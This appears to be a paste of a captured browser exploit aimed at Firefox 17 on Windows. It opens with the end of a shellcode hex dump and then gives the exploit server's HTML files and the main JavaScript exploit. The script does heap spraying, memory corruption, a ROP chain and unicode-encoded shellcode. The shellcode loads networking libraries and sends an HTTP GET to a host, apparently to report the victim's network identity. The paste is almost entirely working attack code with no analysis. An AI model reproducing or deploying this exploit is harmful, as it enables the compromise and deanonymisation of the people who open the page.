  820. //  0130  52 68 b6 49 de 01 ff d5  5f 81 c4 00 01 00 00 85  |Rh.I...._.......|
  821. //  0140  c0 0f 85 f2 00 00 00 57  e8 f9 00 00 00 5e 89 ca  |.......W.....^..|
  822. //  0150  8d bd e9 02 00 00 e8 eb  00 00 00 4f 83 fa 20 7c  |...........O.. ||
  823. //  0160  05 ba 20 00 00 00 89 d1  56 f3 a4 b9 0d 00 00 00  |.. .....V.......|
  824. //  0170  8d b5 c4 02 00 00 f3 a4  89 bd 4b 02 00 00 5e 56  |..........K...^V|
  825. //  0180  68 a9 28 34 80 ff d5 85  c0 0f 84 aa 00 00 00 66  |h.(4...........f|
  826. //  0190  8b 48 0a 66 83 f9 04 0f  82 9c 00 00 00 8d 40 0c  |.H.f..........@.|
  827. //  01a0  8b 00 8b 08 8b 09 b8 00  01 00 00 50 89 e7 29 c4  |...........P..).|
  828. //  01b0  89 e6 57 56 51 51 68 48  72 d2 b8 ff d5 85 c0 81  |..WVQQhHr.......|
  829. //  01c0  c4 04 01 00 00 0f b7 0f  83 f9 06 72 6c b9 06 00  |...........rl...|
  830. //  01d0  00 00 b8 10 00 00 00 29  c4 89 e7 89 ca d1 e2 50  |.......).......P|
  831. //  01e0  52 31 d2 8a 16 88 d0 24  f0 c0 e8 04 3c 09 77 04  |R1.....$....<.w.|
  832. //  01f0  04 30 eb 02 04 37 88 07  47 88 d0 24 0f 3c 09 77  |.0...7..G..$.<.w|
  833. //  0200  04 04 30 eb 02 04 37 88  07 47 46 e2 d4 59 29 cf  |..0...7..GF..Y).|
  834. //  0210  89 fe 58 01 c4 8b bd 4b  02 00 00 f3 a4 c6 85 4f  |..X....K.......O|
  835. //  0220  02 00 00 01 e8 2e 00 00  00 31 c0 50 51 29 cf 4f  |.........1.PQ).O|
  836. //  0230  57 53 68 c2 eb 38 5f ff  d5 53 68 75 6e 4d 61 ff  |WSh..8_..ShunMa.|
  837. //  0240  d5 e9 c8 fe ff ff 31 c9  f7 d1 31 c0 f2 ae f7 d1  |......1...1.....|
  838. //  0250  49 c3 00 00 00 00 00 8d  bd e9 02 00 00 e8 e4 ff  |I...............|
  839. //  0260  ff ff 4f b9 4f 00 00 00  8d b5 75 02 00 00 f3 a4  |..O.O.....u.....|
  840. //  0270  8d bd e9 02 00 00 e8 cb  ff ff ff c3 0d 0a 43 6f  |..............Co|
  841. //  0280  6e 6e 65 63 74 69 6f 6e  3a 20 6b 65 65 70 2d 61  |nnection: keep-a|
  842. //  0290  6c 69 76 65 0d 0a 41 63  63 65 70 74 3a 20 2a 2f  |live..Accept: */|
  843. //  02a0  2a 0d 0a 41 63 63 65 70  74 2d 45 6e 63 6f 64 69  |*..Accept-Encodi|
  844. //  02b0  6e 67 3a 20 67 7a 69 70  0d 0a 0d 0a 00 83 c7 0e  |ng: gzip........|
  845. //  02c0  31 c9 f7 d1 31 c0 f3 ae  4f ff e7 0d 0a 43 6f 6f  |1...1...O....Coo|
  846. //  02d0  6b 69 65 3a 20 49 44 3d  77 73 32 5f 33 32 00 49  |kie: ID=ws2_32.I|
  847. //  02e0  50 48 4c 50 41 50 49 00  02 00 00 50 41 de ca 36  |PHLPAPI....PA..6|
  848. //  02f0  47 45 54 20 2f 30 35 63  65 61 34 64 65 2d 39 35  |GET /05cea4de-95|
  849. //  0300  31 64 2d 34 30 33 37 2d  62 66 38 66 2d 66 36 39  |1d-4037-bf8f-f69|
  850. //  0310  30 35 35 62 32 37 39 62  62 20 48 54 54 50 2f 31  |055b279bb HTTP/1|
  851. //  0320  2e 31 0d 0a 48 6f 73 74  3a 20 00 00 00 00 00 00  |.1..Host: ......|
  852. //  0330  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
  853. //  *
  854. //  03b0  00 00 00 00 00 00 00 00  00 00 00 90              |............|
  855. //  03bc
  856.  
  857. /****************************************************************************
  858.  * The original files as obtained from the exploit server follow:
  859.  */
  860.  
  861. //// "content_2.html"
  862. <html><body></body></html><script>var y="?????",url=window.location.href;if(0>url.indexOf(y)){var iframe=document.createElement("iframe");iframe.src="content_3.html";document.body.appendChild(iframe)}else parent.w();function df(){return parent.df()};</script>
  863.  
  864. //// "content_3.html"
  865. <script>var y="?????",z="",z=z+"<body",z=z+">",z=z+"<img",z=z+" height='1' width='1' src='error.html'",z=z+' onerror="javascript: ',z=z+("window.location.href='content_2.html"+y+"';\" "),z=z+">",z=z+"</body",z=z+">",flag=!1,var83=0;
  866. function b(){for(var e=Array(1024),d=Array(1024),c=0;1024>c;c++)e[c]=new ArrayBuffer(180);for(c=0;1024>c;c++)d[c]=new Int32Array(e[c],0,45),d[c][9]=var83;return d}function a(){!1==flag&&(flag=!0,window.stop());window.stop();b();window.parent.frames[0].frameElement.ownerDocument.write(z);b()}var83=parent.df();0!=var83&&document.addEventListener("readystatechange",a,!1);
  867. </script>
  868.  
  869. //// main exploit
  870. <html>
  871. <body>
  872. <iframe frameborder=0  border=0 height=1 width=1 id="iframe"> </iframe>
  873. </body>
  874. </html>
  875.  
  876. <script>
  877.  
  878. var var1=0xB0;
  879. var var2 = new Array(var1);                                    
  880. var var3 = new Array(var1);    
  881. var var4 = new Array(var1);
  882.  
  883. var var5=0xFF004;      
  884. var var6=0x3FC01;  
  885.  
  886. var var7=0x60000000;
  887. var var8=0x18000000;
  888.  
  889.  
  890. var var9=1;
  891.  
  892. var var10 = 0x12000000;
  893. var var11 = 0;
  894. var var12=0;        
  895.  
  896. var var13 =0;
  897.  
  898. function df()
  899. {
  900.         if(var12==0)
  901.         {
  902.                 return 0x00000000;
  903.         }
  904.         var var14 = var10 + 0x00010000 * var11 + 0x0000002B;
  905.  
  906.         if( var9 == 1 || var9 == 2)
  907.                 return ( var14 - var12);
  908.         else
  909.                 return 0x00000000;
  910. }
  911.  
  912. function b()
  913. {
  914.         var version = al();
  915.         if(version <17)  
  916.         {
  917.                 window.location.href="content_1.html";
  918.         }
  919.         if( version >=17 && version <18 )
  920.                 var12 = 0xE8;
  921.         return ;
  922. }
  923.  
  924. function c()
  925. {
  926.         var iframe=document.getElementById("iframe");
  927.         iframe.src="content_2.html";
  928. }
  929.  
  930. function d()
  931. {
  932.         for(var j=0;j<var1;j++)
  933.         {
  934.                 if( j<var1/8 || j==var1-1)
  935.                 {
  936.                         var tabb = new Array(0x1ED00);
  937.                         var4[j]=tabb;
  938.                         for(i=0;i<0x1ED00;i++)
  939.                         {
  940.                                 var4[j][i]=0x11559944;
  941.                         }      
  942.                 }
  943.                 var2[j]= new ArrayBuffer(var5);
  944.         }
  945.         for(var j=0;j<var1;j++)
  946.         {
  947.                 var3[j]= new Int32Array(var2[j],0,var6);
  948.                 var3[j][0]=0x11336688;                                                                                 
  949.                
  950.                 for(var i=1;i<16;i++)  
  951.                 {                                      
  952.                         var3[j][0x4000*i] = 0x11446688;                                                        
  953.                 }
  954.                        
  955.         }      
  956.  
  957.         for(var j=0;j<var1;j++)
  958.         {
  959.                 if(typeof var4[j] !="undefined")
  960.                 {
  961.                         var4[j][0]=0x22556611;  
  962.                 }
  963.         }
  964. }
  965.  
  966. function e(view)
  967. {
  968.         var i=0;
  969.         for(i=0;i<0x400;i++)
  970.         {
  971.                 view[i] = var13+0x1010 ;
  972.         }
  973.         view[0x0]=var13+0x1010;                
  974.         view[0x44]=0x0;                        
  975.         view[0x45]=0x0;                        
  976.         view[0x400-4]=var13+0x1010;    
  977.         view[0x400]=0x00004004;                        
  978.         view[0x401]=0x7FFE0300;                        
  979. }
  980.  
  981. function f(var15,view,var16)
  982. {
  983.         var magneto = "";
  984.         var magneto = ("\ufc60\u8ae8"+"\u0000\u6000"+"\ue589\ud231"+"\u8b64\u3052"+"\u528b\u8b0c"+"\u1452\u728b"+"\u0f28\u4ab7"+"\u3126\u31ff"+"\uacc0\u613c"+"\u027c\u202c"+"\ucfc1\u010d"+"\ue2c7\u52f0"+"\u8b57\u1052"+"\u428b\u013c"+"\u8bd0\u7840"+"\uc085\u4a74"+"\ud001\u8b50"+"\u1848\u588b"+"\u0120\ue3d3"+"\u493c\u348b"+"\u018b\u31d6"+"\u31ff\uacc0"+"\ucfc1\u010d"+"\u38c7\u75e0"+"\u03f4\uf87d"+"\u7d3b\u7524"+"\u58e2\u588b"+"\u0124\u66d3"+"\u0c8b\u8b4b"+"\u1c58\ud301"+"\u048b\u018b"+"\u89d0\u2444"+"\u5b24\u615b"+"\u5a59\uff51"+"\u58e0\u5a5f"+"\u128b\u86eb"+"\u5d05\ubd81"+"\u02e9\u0000"+"\u4547\u2054"+"\u7075\u858d"+"\u02d1\u0000"+"\u6850\u774c"+"\u0726\ud5ff"+"\uc085\u5e74"+"\u858d\u02d8"+"\u0000\u6850"+"\u774c\u0726"+"\ud5ff\uc085"+"\u4c74\u90bb"+"\u0001\u2900"+"\u54dc\u6853"+"\u8029\u006b"+"\ud5ff\udc01"+"\uc085\u3675"+"\u5050\u5050"+"\u5040\u5040"+"\uea68\udf0f"+"\uffe0\u31d5"+"\uf7db\u39d3"+"\u74c3\u891f"+"\u6ac3\u8d10"+"\ue1b5\u0002"+"\u5600\u6853"+"\ua599\u6174"+"\ud5ff\uc085"+"\u1f74\u8dfe"+"\u0089\u0000"+"\ue375\ubd80"+"\u024f\u0000"+"\u7401\ue807"+"\u013b\u0000"+"\u05eb\u4de8"+"\u0001\uff00"+"\ub8e7\u0100"+"\u0000\uc429"+"\ue289\u5052"+"\u6852\u49b6"+"\u01de\ud5ff"+"\u815f\u00c4"+"\u0001\u8500"+"\u0fc0\uf285"+"\u0000\u5700"+"\uf9e8\u0000"+"\u5e00\uca89"+"\ubd8d\u02e9"+"\u0000\uebe8"+"\u0000\u4f00"+"\ufa83\u7c20"+"\uba05\u0020"+"\u0000\ud189"+"\uf356\ub9a4"+"\u000d\u0000"+"\ub58d\u02c4"+"\u0000\ua4f3"+"\ubd89\u024b"+"\u0000\u565e"+"\ua968\u3428"+"\uff80\u85d5"+"\u0fc0\uaa84"+"\u0000\u6600"+"\u488b\u660a"+"\uf983\u0f04"+"\u9c82\u0000"+"\u8d00\u0c40"+"\u008b\u088b"+"\u098b\u00b8"+"\u0001\u5000"+"\ue789\uc429"+"\ue689\u5657"+"\u5151\u4868"+"\ud272\uffb8"+"\u85d5\u81c0"+"\u04c4\u0001"+"\u0f00\u0fb7"+"\uf983\u7206"+"\ub96c\u0006"+"\u0000\u10b8"+"\u0000\u2900"+"\u89c4\u89e7"+"\ud1ca\u50e2"+"\u3152\u8ad2"+"\u8816\u24d0"+"\uc0f0\u04e8"+"\u093c\u0477"+"\u3004\u02eb"+"\u3704\u0788"+"\u8847\u24d0"+"\u3c0f\u7709"+"\u0404\ueb30"+"\u0402\u8837"+"\u4707\ue246"+"\u59d4\ucf29"+"\ufe89\u0158"+"\u8bc4\u4bbd"+"\u0002\uf300"+"\uc6a4\u4f85"+"\u0002\u0100"+"\u2ee8\u0000"+"\u3100\u50c0"+"\u2951\u4fcf"+"\u5357\uc268"+"\u38eb\uff5f"+"\u53d5\u7568"+"\u4d6e\uff61"+"\ue9d5\ufec8"+"\uffff\uc931"+"\ud1f7\uc031"+"\uaef2\ud1f7"+"\uc349\u0000"+"\u0000\u8d00"+"\ue9bd\u0002"+"\ue800\uffe4"+"\uffff\ub94f"+"\u004f\u0000"+"\ub58d\u0275"+"\u0000\ua4f3"+"\ubd8d\u02e9"+"\u0000\ucbe8"+"\uffff\uc3ff"+"\u0a0d\u6f43"+"\u6e6e\u6365"+"\u6974\u6e6f"+"\u203a\u656b"+"\u7065\u612d"+"\u696c\u6576"+"\u0a0d\u6341"+"\u6563\u7470"+"\u203a\u2f2a"+"\u0d2a\u410a"+"\u6363\u7065"+"\u2d74\u6e45"+"\u6f63\u6964"+"\u676e\u203a"+"\u7a67\u7069"+"\u0a0d\u0a0d"+"\u8300\u0ec7"+"\uc931\ud1f7"+"\uc031\uaef3"+"\uff4f\u0de7"+"\u430a\u6f6f"+"\u696b\u3a65"+"\u4920\u3d44"+"\u7377\u5f32"+"\u3233\u4900"+"\u4850\u504c"+"\u5041\u0049"+"\u0002\u5000"+"\ude41\u36ca"+"\u4547\u2054"+"\u302f\u6335"+"\u6165\u6434"+"\u2d65\u3539"+"\u6431\u342d"+"\u3330\u2d37"+"\u6662\u6638"+"\u662d\u3936"+"\u3530\u6235"+"\u3732\u6239"+"\u2062\u5448"+"\u5054\u312f"+"\u312e\u0a0d"+"\u6f48\u7473"+"\u203a\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u9000"+"");
  985.         var var29 = magneto;
  986.         var var17 = "\u9060";
  987.         var var18 = "\u9061";
  988.         var var19 = "\uC481\u0000\u0008" ;
  989.         var var20 = "\u2589\u3000"+String.fromCharCode((var13 >> 16)  & 0x0000FFFF);
  990.         var var21="\u258B\u3000"+String.fromCharCode((var13 >> 16)  & 0x0000FFFF);
  991.         var var22 = "\uE589";
  992.         var var23 ="\uC3C9";
  993.         var var24  = "\uE889";        
  994.         var24 += "\u608D\u90C0";      
  995.  
  996.         var var25 = var10 + 0x00010000 * var11 + 0x00000030 + 0x00100000;
  997.         var var26 = var25 + var16*4
  998.  
  999.         var var27 =""
  1000.         var27 += "\uB890\u2020\u2020";                                               
  1001.         var27 += "\uA390"+ae(var26+0x00);
  1002.         var27 += "\uA390"+ae(var26+0x04);
  1003.         var27 += "\uA390"+ae(var26+0x08);
  1004.         var27 += "\uA390"+ae(var26+0x0C);
  1005.  
  1006.         var var28  = var17;
  1007.         var28 += var20;
  1008.         var28 += var19;
  1009.         var28 += var22;
  1010.         var28 += var27;
  1011.         var28 += var29;
  1012.     var28 += var21;
  1013.     var28 += var18;
  1014.     var28 += var23;
  1015.         var var29Array = new Array();
  1016.         var29Array=ag(var28);
  1017.  
  1018.         var var29Ad = var13+0x5010;
  1019.         var i=0;
  1020.         var j=0;
  1021.         var var30=var13+0x4048;
  1022.         var var31 = new Array();
  1023.  
  1024.         var31[0]=var30;                        
  1025.         var31[1]=var30;                        
  1026.         var31[2]=var30;                        
  1027.         var31[3]=var15[1];                     
  1028.         var31[4]=var29Ad;              
  1029.         var31[5]=0xFFFFFFFF;                   
  1030.         var31[6]=var13+0x4044; 
  1031.         var31[7]=var13+0x4040; 
  1032.         var31[8]=0x00000040;                   
  1033.         var31[9]=var13+0x4048; 
  1034.         var31[10]=0x00040000;          
  1035.         var31[11]=var29Ad;             
  1036.         var31[12]=var13+0x301C;
  1037.                
  1038.         for(var i=0 ; i < 0x140 ; i++)
  1039.         {
  1040.                 var31[i+15]=var15[0];
  1041.         }      
  1042.         var var32 = 0x3F8;             
  1043.         view[0x800+0+var32]=var13+0x4018;  
  1044.         view[0x800+1+var32]=var13+0x4018;
  1045.         for(var i=2 ; i < var31.length  ; i++)
  1046.         {
  1047.                 view[0x800+i+var32]=  0x41414141;
  1048.         }              
  1049.         for(var i=0 ; i < var31.length  ; i++)
  1050.         {
  1051.                 view[0xC02+i+var32]=  var31[i];
  1052.         }                              
  1053.         for(var i=0 ; i < var29Array.length ; i++)
  1054.         {
  1055.                 view[0x1000 + i+var32] = var29Array[i];
  1056.         }                      
  1057.        
  1058. }
  1059.  
  1060. function g(var50,view)
  1061. {
  1062.         var k = h(var50,view);
  1063.         var j=0;
  1064.         if( k < 0 )
  1065.                 return -1;
  1066.         view[0x404+k]=var13+0x3010;
  1067.         return 1;
  1068. }
  1069.  
  1070. function h(var50,view)
  1071. {
  1072.         var address=0;
  1073.         var u=0;
  1074.         var memory="";
  1075.         var var55=0;
  1076.         for( u =7; u >=4 ;u--)
  1077.         {
  1078.                 address=view[0x404+u];
  1079.                 if( address > 0x000A0000 && address < 0x80000000 )  
  1080.                 {
  1081.                         memory = i(address,0x48,var50,view);
  1082.                         var55=af(memory[0x14]+memory[0x15]);
  1083.                         if(var55==address)
  1084.                         {
  1085.                                 return u;
  1086.                         }                              
  1087.                 }
  1088.         }
  1089.         return -1;
  1090. }
  1091.  
  1092. function i(address,size,var50,view)
  1093. {
  1094.         var var56 = size/2;
  1095.         var56 = var56*0x10 +0x04;
  1096.         view[0x400]=var56;               
  1097.         view[0x401]=address;    
  1098.         return var4[var50][0];
  1099. }
  1100.  
  1101. function j(memory,view)
  1102. {
  1103.         var intArray=ag(memory);
  1104.         for(var i=0 ; i < intArray.length  ; i++)
  1105.         {
  1106.                 view[0x404+i]=intArray[i];             
  1107.         }
  1108. }
  1109.  
  1110. function k()
  1111. {
  1112.         for(var j=0;j<var1;j++)
  1113.         {
  1114.                 if(var2[j].byteLength!=var5)
  1115.                 {
  1116.                         return j;
  1117.                 }
  1118.         }
  1119.         return -1;
  1120. }
  1121.  
  1122. function l(view,var58)
  1123. {
  1124.         view[var58] = var13 + 0x1030;  
  1125.         view[var58+1] = 0xFFFFFF85;            
  1126. }
  1127.  
  1128. function m(view,var58)
  1129. {
  1130.         view[var58]=0x00000000;  
  1131.         for(var j=0;j<var1;j++)
  1132.         {
  1133.                 if(typeof var4[j] !="undefined")
  1134.                 {
  1135.                         if(var4[j][0]!=0x22556611)
  1136.                                 return j;
  1137.                 }
  1138.         }
  1139.         return -1
  1140. }
  1141.  
  1142. function n(view,firstvar58)
  1143. {
  1144.         var var57 = var10 + 0x00100000 + 0x00010000 * var11;   
  1145.         var var58=0;
  1146.         for(var i=0;i<200;i++)
  1147.         {
  1148.                 if(view[var58] != 0x11336688)  
  1149.                 {
  1150.                         if(view[var58] == 0x22556611 )  
  1151.                                 return  var58;
  1152.                         else
  1153.                                 return -1;
  1154.                 }
  1155.                 if(var58==0)
  1156.                 {
  1157.                         var58 = firstvar58;
  1158.                 }else{
  1159.                         var var59=view[var58-0x0C];
  1160.                         var58 = (var59 - var57)/4;
  1161.                 }
  1162.         }
  1163.         return -1;
  1164. }
  1165.  
  1166. function o(var60)
  1167. {
  1168.         var view  = new Int32Array(var2[var60],0,0x00040400);
  1169.  
  1170.         var var59 = view[0x00100000/4-0x0C];
  1171.         var var57 = var10 + 0x00100000 + 0x00010000 * var11;   
  1172.  
  1173.         return ((var59 - var57)/4);
  1174. }
  1175.  
  1176. function p()
  1177. {
  1178.         for(var j=0;j<var1;j++)
  1179.         {
  1180.                 for(var i=1;i<16;i++)
  1181.                 {
  1182.                         if(var3[j][i*0x4000-0x02]==0x01000000)
  1183.                         {
  1184.                                 return -i;
  1185.                         }
  1186.                 }
  1187.         }
  1188.         return 0;
  1189. }
  1190.  
  1191. function q(var60)
  1192. {
  1193.         var view  = new Int32Array(var2[var60],0,0x00040400);
  1194.         view[0x00100000/4-0x02]=var7;
  1195.         if(var2[var60+1].byteLength==var7)
  1196.                 return var60+1;
  1197.         return -1;
  1198. }
  1199.  
  1200. function r(var60)
  1201. {
  1202.         var view  = new Int32Array(var2[var60],0,0x00040400);
  1203.         view[0x00100000/4-0x02]=var5;
  1204. }
  1205.  
  1206. function t()
  1207. {
  1208.         if(typeof sessionStorage.tempStor !="undefined")
  1209.                 return false;
  1210.         sessionStorage.tempStor="";
  1211.         return true;
  1212. }
  1213.  
  1214. function u()
  1215. {      
  1216.         if( t() == true )
  1217.         {
  1218.                 var9 = 1;              
  1219.                 b();
  1220.                 d();
  1221.                 c();
  1222.         }else{
  1223.                 return ;
  1224.         }
  1225. }
  1226.  
  1227. function v()
  1228. {
  1229.         if(k() == -1)
  1230.         {
  1231.                 var11 = p();
  1232.                 var9 = 2;      
  1233.                 c();
  1234.         }else{
  1235.                 x();
  1236.         }
  1237. }
  1238.  
  1239. function w()
  1240. {
  1241.         if(var9==1)
  1242.                 v();
  1243.         else
  1244.                 x();
  1245. }
  1246.  
  1247. function x()
  1248. {
  1249.  
  1250.         var var60 = k();
  1251.         if(var60==-1)
  1252.                 return ;                       
  1253.  
  1254.         var nextvar60 = q(var60);
  1255.         if(nextvar60==-1)
  1256.                 return ;                               
  1257.                
  1258.         var var61 = o(var60);
  1259.         var var62  = new Int32Array(var2[nextvar60],0,var8);
  1260.         var var58 = n(var62,var61);
  1261.         if(var58==-1)
  1262.                 return ;                       
  1263.  
  1264.         var var50 = m(var62,var58);
  1265.  
  1266.         var13 = var10 + 0x00100000 + 0x00010000 * var11;
  1267.         e(var62);
  1268.  
  1269.         l(var62,var58);
  1270.  
  1271.         var var64 = var4[var50][0];
  1272.  
  1273.         ac(var64,var50,var62,var58,var60);
  1274. }
  1275.  
  1276. function y(index)
  1277. {
  1278.         var4[index][1]= document.createElement('span') ;
  1279. }              
  1280.  
  1281. function z(index,index2)
  1282. {
  1283.         var4[index][1].innerHTML;
  1284. }              
  1285.  
  1286. function aa(view,var63)
  1287. {
  1288.         return view[var63];
  1289. }      
  1290.  
  1291. function ab(address,view,var63)
  1292. {
  1293.         view[var63]=address;
  1294. }      
  1295.  
  1296.  
  1297. function ac(var64,var50,var62,var58,var60)
  1298. {
  1299.         var var15=ah(var64);
  1300.  
  1301.         f(var15,var62,var58);
  1302.  
  1303.         y(var50);
  1304.         var var66 = aa(var62,var58+2);
  1305.  
  1306.         var var67 = i(var66,0x40,var50,var62) ;
  1307.         j(var67,var62);
  1308.  
  1309.         g(var50,var62);
  1310.         ab(var13+0x1040 ,var62,var58+2);
  1311.  
  1312.         r(var60)
  1313.         setTimeout(ad,1000);
  1314.         z(var50);
  1315. }      
  1316.  
  1317.  
  1318. function ad()
  1319. {
  1320.         for(var j=0;j<var1;j++)
  1321.         {
  1322.                 delete var3[j]
  1323.                 var3[j]= null;
  1324.                
  1325.                 delete var2[j];
  1326.                 var2[j] = null;
  1327.  
  1328.                 if(typeof var4[j] !="undefined")
  1329.                 {
  1330.                         delete var4[j];        
  1331.                         var4[j] = null;
  1332.                 }      
  1333.         }      
  1334.         delete var2;
  1335.         delete var3;
  1336.         delete var4;   
  1337.         var2=null;
  1338.         var3=null;
  1339.         var4=null;     
  1340. }
  1341.                
  1342. function ae(int32)
  1343.  {
  1344.     var var68 = String.fromCharCode((int32)& 0x0000FFFF);
  1345.     var var69 = String.fromCharCode((int32 >> 16)  & 0x0000FFFF);
  1346.     return var68+var69;
  1347. }  
  1348.    
  1349.                
  1350. function af(string)
  1351. {              
  1352.     var var70 = string.charCodeAt(0);
  1353.     var var71 = string.charCodeAt(1);
  1354.     var var72 = (var71 << 16) + var70;
  1355.         return var72;
  1356. }      
  1357.                
  1358. function ag(string)
  1359. {      
  1360.         if(string.length%2!=0)
  1361.                 string+="\u9090";
  1362.         var intArray= new Array();
  1363.         for(var i=0 ; i*2 < string.length; i++ )
  1364.                 intArray[i]=af(string[i*2]+string[i*2+1]);
  1365.         return intArray;
  1366. }      
  1367.                
  1368.  
  1369. function ah(var73)
  1370. {
  1371.         var var74 = var73.substring(0,2);
  1372.     var var70 = var74.charCodeAt(0);
  1373.     var var71 = var74.charCodeAt(1);
  1374.     var var75 = (var71 << 16) + var70;
  1375.     if (var75 == 0)
  1376.     {
  1377.         var var76 = var73.substring(32, 34);
  1378.         var var70 = var76.charCodeAt(0);
  1379.         var var71 = var76.charCodeAt(1);
  1380.         var75 = (var71 << 16) + var70;
  1381.     }
  1382.     var var15 = am(var75);
  1383.     if (var15 == -1)
  1384.     {
  1385.         return;
  1386.     }
  1387.     return var15
  1388. }
  1389.  
  1390. function aj(version)
  1391. {
  1392.         var i = navigator.userAgent.indexOf("Windows NT");
  1393.         if (i != -1)
  1394.                 return true;
  1395.         return false;
  1396. }
  1397.  
  1398. function ak()
  1399. {
  1400.         var ua = navigator.userAgent;
  1401.         var browser = ua.substring(0, ua.lastIndexOf("/"));
  1402.         browser = browser.substring(browser.lastIndexOf(" ") + 1);
  1403.         if (browser != "Firefox")
  1404.                 return -1;
  1405.  
  1406.         var version = ua.substring(ua.lastIndexOf("/") + 1);
  1407.         version = parseInt(version.substring(0, version.lastIndexOf(".")));
  1408.         return version;
  1409. }
  1410.  
  1411. function al()
  1412. {
  1413.         version = ak();
  1414.  
  1415.         if (!aj(version))
  1416.                 return -1;
  1417.         return version;
  1418. }
  1419.  
  1420.                
  1421. function am(var77)
  1422. {
  1423.     var var15 = new Array(2);
  1424.      if (var77 % 0x10000 == 0xE510)                                    
  1425.      {      
  1426.         var78 = var77 - 0xE510;
  1427.         var15[0] = var78 + 0xE8AE;                  
  1428.         var15[1] = var78 + 0xD6EE;                  
  1429.     }
  1430.     else if (var77 % 0x10000 == 0x9A90)                        
  1431.     {  
  1432.         var78 = var77 - 0x69A90;
  1433.         var15[0] = var78 + 0x6A063;                
  1434.         var15[1] = var78 + 0x68968;                  
  1435.     }
  1436.     else if (var77 % 0x10000 == 0x5E70)                                
  1437.     {  
  1438.         var78 = var77 - 0x65E70;
  1439.         var15[0] = var78 + 0x66413;                  
  1440.         var15[1] = var78 + 0x64D34;                
  1441.     }
  1442.     else if (var77 % 0x10000 == 0x35F3)                                
  1443.     {  
  1444.         var78 = var77 - 0x335F3;
  1445.         var15[0] = var78 + 0x4DE13;                  
  1446.         var15[1] = var78 + 0x49AB8;                  
  1447.     }
  1448.     else if (var77 % 0x10000 == 0x5CA0)                                
  1449.     {  
  1450.         var78 = var77 - 0x65CA0;
  1451.         var15[0] = var78 + 0x66253;                
  1452.         var15[1] = var78 + 0x64B84;                  
  1453.     }
  1454.     else if (var77 % 0x10000 == 0x5CD0)                                
  1455.     {  
  1456.         var78 = var77 - 0x65CD0;
  1457.         var15[0] = var78 + 0x662A3;                  
  1458.         var15[1] = var78 + 0x64BA4;                
  1459.        
  1460.     }
  1461.     else if (var77 % 0x10000 == 0x6190)                        
  1462.     {
  1463.         var78 = var77 - 0x46190;
  1464.         var15[0] = var78 + 0x467D3;                
  1465.         var15[1] = var78 + 0x45000;                  
  1466.        
  1467.     }
  1468.     else if (var77 % 0x10000 == 0x9CB9)                        
  1469.     {  
  1470.         var78 = var77 - 0x29CB9;
  1471.         var15[0] = var78 + 0x29B83;                
  1472.         var15[1] = var78 + 0xFFC8;                  
  1473.     }
  1474.     else if (var77 % 0x10000 == 0x9CE9)                
  1475.     {  
  1476.         var78 = var77 - 0x29CE9;
  1477.         var15[0] = var78 + 0x29BB3;                
  1478.         var15[1] = var78 + 0xFFD8;                  
  1479.     }
  1480.     else if (var77 % 0x10000 == 0x70B0)                                
  1481.     {  
  1482.         var78 = var77 - 0x470B0;
  1483.         var15[0] = var78 + 0x47733;                  
  1484.         var15[1] = var78 + 0x45F18;                
  1485.     }
  1486.     else if (var77 % 0x10000 == 0x7090)                        
  1487.     {  
  1488.         var78 = var77 - 0x47090;
  1489.         var15[0] = var78 + 0x476B3;              
  1490.         var15[1] = var78 + 0x45F18;                
  1491.     }
  1492.     else if (var77 % 0x10000 == 0x9E49)                        
  1493.     {
  1494.         var78 = var77 - 0x29E49;
  1495.         var15[0] = var78 + 0x29D13;                
  1496.         var15[1] = var78 + 0x10028;                
  1497.     }
  1498.     else if (var77 % 0x10000 == 0x9E69)                
  1499.     {
  1500.         var78 = var77 - 0x29E69;
  1501.         var15[0] = var78 + 0x29D33;              
  1502.         var15[1] = var78 + 0x10018;              
  1503.     }
  1504.    
  1505.     else if (var77 % 0x10000 == 0x9EB9)                
  1506.     {
  1507.         var78 = var77 - 0x29EB9;       
  1508.         var15[0] = var78 + 0x29D83;              
  1509.         var15[1] = var78 + 0xFFC8;              
  1510.     }
  1511.     else
  1512.     {
  1513.         return -1;                        
  1514.     }
  1515.    
  1516.     return var15;
  1517. }
  1518.  
  1519. window.addEventListener("onload", u(),true);
  1520.  
  1521. </script>

Reply to "NSA TOR darkweb javascript firef"

Here you can reply to the paste above